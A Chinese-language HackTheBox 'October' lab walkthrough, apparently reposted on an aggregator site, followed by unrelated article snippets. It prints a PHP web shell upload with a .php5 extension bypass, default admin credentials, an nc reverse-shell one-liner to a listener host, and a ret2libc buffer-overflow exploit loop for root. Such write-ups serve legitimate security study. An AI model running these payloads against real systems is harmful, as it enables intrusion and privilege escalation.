Linux/October

October

Enumeration

Nmap

扫描发现对外开放了22和80端口,使用nmap详细扫描这两个端口

┌──(kali㉿kali)-[~/vegetable/HTB/October]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.10.16                                                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-19 02:19 EST
Nmap scan report for 10.10.10.16
Host is up (0.32s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79b135b6d12512a30cb52e369c332628 (DSA)
|   2048 16086851d17b075a34660d4cd02556f5 (RSA)
|   256 e397a7922372bf1d098885b66c174e85 (ECDSA)
|_  256 8985909820bf035d357f4aa9e11b6531 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.62 seconds

nmap 给出的结果显示使用了 cms,进入网页显示如下,从标题栏也可以看出使用了 October 的 cms,Vanilla 好像是一个主题

搜索 OctoberCMS 找到其官网,介绍项目是基于 Laravel PHP 框架的自托管 CMS 平台。搜索关键词 “vanilla october cms” 时,显示 vanilla 确实是一个主题,是一个简单的入门模板,用于实现帐户管理、博客和社区论坛,进而找到该 主题的 github 存储库

Exploitation

October CMS

尝试搜索该cms是否存在可利用的漏洞,发现 exploitdb 中记录了很多,但是全部都需要登录认证后才可以,搜索关键词 “october cms default credentials”,可以找到网站后台 uri 为 /backend,默认的用户名密码为 admin/admin

输入正确用户名密码登录后,可以利用 exploitdb 给出的方法来上传php文件,可以看到是限制了以下几种上传文件的格式,但是可以使用 php5 来绕过

==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }
====================  source end  ========================

点击页面上 media,可以找到上传按钮,上传 php 文件时 burpsuite 响应中显示 "The file type used is blocked for security reasons.",将数据包发送到 repeater,然后将文件后缀名修改为  .php5,点击发送,会显示上传成功

POST /backend/cms/media HTTP/1.1------WebKitFormBoundary9V5aBljc6GaJgulBContent-Disposition: form-data; name="file_data"; filename="php_cmd.php5"Content-Type: application/x-php<?php system($_POST['cmd']); ?>HTTP/1.0 200 OK{"link":"\/storage\/app\/media\/php_cmd.php5","result":"success"}

然后可以执行命令

然后在cmd后拼接命令,并点击发送

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.24 9001 >/tmp/f

kali 的监听端会收到一个 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 9001                             
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.16] 55354
bash: cannot set terminal process group (1290): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/cms/storage/app/media$

对该shell进行升级

www-data@october:/var/www/html/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/bash")'
<tml/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/bash")'    
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
zsh: suspended  nc -nvlp 9001┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg                 
[1]  + continued  nc -nvlp 9001reset
reset: unknown terminal type unknown
Terminal type? screen

在这里可以获取user.txt

Privilege Escalation

ovrflw溢出

对这部分内容不是非常熟悉,我参考了 0xdf 的文章,HTB: October | 0xdf hacks stuff

查找主机中设置了 SUID 权限位的文件

www-data@october:/var/www/html/cms/storage/app/media$ find / -perm -4000 2>/dev/null
<tml/cms/storage/app/media$ find / -perm -4000 2>/dev/null                   
/bin/umount
/bin/ping<--snip-->/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw

最后一个 /usr/local/bin/ovrflw 看起来很有意思,尝试运行该文件,提示需要输入一个字符串

www-data@october:/usr/local/bin$ ./ovrflwSyntax: ./ovrflw <input string>

但是跟上字符串 vegetable 后,却什么都没有返回,又添加了大量字符串,却显示分段错误,有一个溢出,利用缓冲区溢出可能会获得 root 权限,可以参考 Frolic 机器

www-data@october:/usr/local/bin$ ./ovrflw vegetable
www-data@october:/usr/local/bin$ ./ovrflw $(python -c 'print "A"*500')
Segmentation fault (core dumped)

/proc/sys/kernel/randomize_va_space 是 linux 系统中的一个文件路径,用于控制系统中的地址空间布局随机化(Address Space Layout Randomization,ASLR)功能,打开该文件检查 ALSR 功能设置,可以看到设置为 2,表示采用较为激进的 ASLR 设置,在这种情况下,除了共享库和可执行文件的地址外,栈的地址也会随机化。查看与 libc 相关的 ovrflw 所依赖的动态链接库时,发现 libc 地址一直在改变

www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space
2
www-data@october:/usr/local/bin$ ldd ovrflw |grep libclibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e3000)
www-data@october:/usr/local/bin$  ovrflw |grep libclibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a7000)
www-data@october:/usr/local/bin$ ldd ovrflw |grep libclibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d5000)

将二进制文件传回kali系统,然后使用 gdb 来调试程序,因为输入大量字符后会导致程序溢出,所以需要找出 EIP 偏移量。

┌──(kali㉿kali)-[~/Downloads]
└─$ gdb -q ./ovrflw                                    
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gdb-peda$ 

已经在 gdb 中加载了 peda 程序,可以使用 peda 中的 pattern_create 500 来生成非重复的500字符的字符串

gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

将该字符串作为参数传递执行 ovrflw 文件,r 表示 run

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7e1dff4 --> 0x21dd8c 
ECX: 0xffffd2a0 ("sKAsgAs6A")
EDX: 0xffffcf97 ("sKAsgAs6A")
ESI: 0x80484d0 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffce20 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffce20 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
0004| 0xffffce24 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0xffffce28 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%"...)
0012| 0xffffce2c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0xffffce30 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA"...)
0020| 0xffffce34 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0xffffce38 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%Q"...)
0028| 0xffffce3c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

可以看到,程序在 0x41384141 处崩溃,可以查看偏移量

gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112

可以使用 readelf 工具来查看共享库 libc.so.6 的符号表,并过滤出 system@ 和 exit@ 的行,可以看到名为 system 的符号偏移地址为 00033260,名为 exit 的符号偏移地址为 00040310,162bac是 /bin/sh 在 libc.so.6 文件中的偏移地址,以 16 进制表示

www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libclibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7577000)www-data@october:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.01443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0www-data@october:strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"162bac /bin/sh

所以可以计算,并将最后的值转化成字节序列并按照小段字节序排列

exit: 0xb75a7000+0x33260 = 0xb75da260 = \x60\xa2\x5d\xb7 
system: 0xb75a7000+0x40310 = 0xb75e7310 = \x10\x73\x5e\xb7
/bin/sh: = 0xb75a7000+0x162bac = 0xb7709bac = \xac\x9b\x70\xb7

[JUNK] + SYSTEM(ret地址覆盖)+ EXIT(下一个返回地址)+“/bin/sh”(args),其中112个JUNK字符导致程序崩溃溢出

不启用ASLR的话,执行下面的指令即可

/usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x73\x5e\xb7" + "\x60\xa2\x5d\xb7" + "\xac\x9b\x70\xb7"');

因为地址一直在变化,所以可以写一个循环

while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x73\x5e\xb7" + "\x60\xa2\x5d\xb7" + "\xac\x9b\x70\xb7"'); done

最后拿到shell

参考链接:

October - PHP CMS platform based on the Laravel Framework (octobercms.com)

https://github.com/rainlab/vanilla-theme

October CMS 1.0.412 - Multiple Vulnerabilities - PHP webapps Exploit

HTB: October | 0xdf hacks stuff

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/809593.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Springboot的笔记记录分享网站(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的笔记记录分享网站&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构…

华为OD技术面试-有序数组第K最小值

背景 2024-03-15华为od 二面&#xff0c;记录结题过程 有序矩阵中第 K 小的元素 - 力扣&#xff08;LeetCode&#xff09; https://leetcode.cn/problems/kth-smallest-element-in-a-sorted-matrix/submissions/512483717/ 题目 给你一个 n x n 矩阵 matrix &#xff0c;其…

基于spring boot的班级综合测评管理系统

基于spring boot的班级综合测评管理系统设计与实现 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开…

总分410+专业130+国防科技大学831信号与系统考研经验国防科大电子信息与通信工程,真题,大纲,参考书。

好几个学弟催着&#xff0c;总结一下我自己的复习经历&#xff0c;希望大家复习少走弯路&#xff0c;投入的复习正比换回分数。我专业课831信号与系统130&#xff08;感觉比估分要低&#xff0c;后面找Jenny老师讨论了自己拿不准的地方也没有错误&#xff0c;心里最近也这经常回…

蓝桥备赛——组合数、其他技巧

对字符串进行permutations排列组合 from itertools import permutations a abc #对字符串进行permutations排列组合 for i in permutations(a,3):x .join(i)print (x,end ) print (\n------------------------------------) permutations后面的参数&#xff0c;第一个表示…

有趣的css - 动态雷达扫描

大家好&#xff0c;我是 Just&#xff0c;这里是「设计师工作日常」&#xff0c;今天分享的是使用 css 实现一个动态的雷达扫描&#xff0c;快学起来吧&#xff01; 《有趣的css》系列最新实例通过公众号「设计师工作日常」发布。 目录 整体效果核心代码html 代码css 部分代码…

[2024最新]MySQL-mysql 8.0.11安装教程

网上的教程有很多&#xff0c;基本上大同小异。但是安装软件有时就可能因为一个细节安装失败。我也是综合了很多个教程才安装好的&#xff0c;所以本教程可能也不是普遍适合的。 安装环境&#xff1a;win 10 1、下载zip安装包&#xff1a; MySQL8.0 For Windows zip包下载地…

可视化大屏的应用(12):在智慧制造中的十大价值

一、什么是智慧制造 智慧制造是指通过信息技术、物联网、人工智能等先进技术的应用&#xff0c;实现生产过程的数字化、网络化、智能化&#xff0c;从而提高生产效率、降低成本、提高产品质量和灵活性的一种制造模式。 智慧制造的核心是将传统的制造过程与先进的信息技术相结合…

前端自动化测试-Jest

前端自动化测试 Jest官网&#xff1a;https://jestjs.io 安装方式 npm install --save-dev jest yarn add --dev jest cnpm add --save-dev jest 使用方法 所有以 .test.js 结尾的都是测试文件 基础用法示例 num.js&#xff1a; export function getSum (a, b) {return a b…

java下载网络上的文件、图片保存到本地 FileUtils

java下载网络上的文件、图片保存到本地 FileUtils 1. 引入FileUtils依赖2. 实现代码3. 输出结果 1. 引入FileUtils依赖 <!--FileUtils依赖--> <!-- https://mvnrepository.com/artifact/commons-io/commons-io --> <dependency><groupId>commons-io&l…

手把手教你从零搭建ChatGPT网站AI绘画系统,(SparkAi系统V6)GPTs应用、DALL-E3文生图、AI换脸、垫图混图、SunoAI音乐生成

一、系统前言 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图文教程吧。已支持…

智能Java开发工具IntelliJ IDEA v2024.1震撼发布——让开发工作更简单!

IntelliJ IDEA&#xff0c;是java编程语言开发的集成环境。IntelliJ在业界被公认为最好的java开发工具&#xff0c;尤其在智能代码助手、代码自动提示、重构、JavaEE支持、各类版本工具(git、svn等)、JUnit、CVS整合、代码分析、 创新的GUI设计等方面的功能可以说是超常的。 立…

必须掌握的这4种缓存模式

概述 在系统架构中&#xff0c;缓存可谓提供系统性能的简单方法之一&#xff0c;稍微有点开发经验的同学必然会与缓存打过交道&#xff0c;起码也实践过。 如果使用得当&#xff0c;缓存可以减少响应时间、减少数据库负载以及节省成本。但如果缓存使用不当&#xff0c;则可能…

java 邮件发送表格

邮件发送表格 问题导入效果图 实现方案1. 拼接HTML文件&#xff08;不推荐&#xff09;2. excel 转HTML使用工具类来转化依赖工具类代码示例 使用已工具包 如 aspose-cells依赖代码示例 3.使用模板生成流程准备模板工具类代码示例 问题导入 在一些定时任务中&#xff0c;经常会…

【STM32G431RBTx】备战蓝桥杯嵌入式→省赛试题→第十四届

文章目录 前言一、题目二、模块初始化三、代码实现interrupt.h:interrupt.c:main.h:main.c: 四、完成效果五、总结 前言 无 一、题目 二、模块初始化 1.LCD这里不用配置&#xff0c;直接使用提供的资源包就行 2.KEY, 四个按键IO口都要配置&#xff0c;分别是PB0, PB1,PB2,PA…

Unity单个物体绑定多个相机在轨道上移动,录制不同角度视频

环境搭建 下载Cinemachine插件安装 打开包管理器 下载cinemachine插件 创建轨道 使用dolly track 创建轨道 右侧可以删减关键点&#xff0c;注意调整y坐标 创建cart 把前面的轨道拖到path中&#xff0c;注意这里的speed要设定不为0才会动 设置VItual Camera 根据需…

使用Code开发Django_模版和CSS

转到定义 和 查看定义 在使用Django或任何其他库的过程中,我们可能需要检查这些库中的代码。VS Code提供了两个方便的命令,可以直接导航到任何代码中的类和其他对象的定义: 转到定义 在Python开发环境中,我们可以轻松地对函数、类或者其他导入模块中的成员使用“Go to Def…

【C 数据结构】双向链表

文章目录 【 1. 基本原理 】【 2. 双向链表的 创建 】实例 - 输出双向链表 【 3. 双向链表 添加节点 】【 4. 双向链表 删除节点 】【 5. 双向链表查找节点 】【 7. 双向链表更改节点 】【 8. 实例 - 双向链表的 增删查改 】 【 1. 基本原理 】 表中各节点中都只包含一个指针&…

【算法练习】30:快速排序学习笔记

一、快速排序的算法思想 原理&#xff1a;快速排序基于分治策略。它的基本思想是选择一个元素作为“基准”&#xff0c;将待排序序列划分为两个子序列&#xff0c;使得左边的子序列中的所有元素都小于基准&#xff0c;右边的子序列中的所有元素都大于基准。这个划分操作被称为分…

Elasticsearch部署安装

环境准备 Anolis OS 8 Firewall关闭状态&#xff0c;端口自行处理 Elasticsearch&#xff1a;7.16.1&#xff08;该版本需要jdk11&#xff09; JDK&#xff1a;11.0.19 JDK # 解压 tar -zxvf jdk-11.0.19_linux-x64_bin.tar.gz# 编辑/etc/profile vim /etc/profile# 加入如下…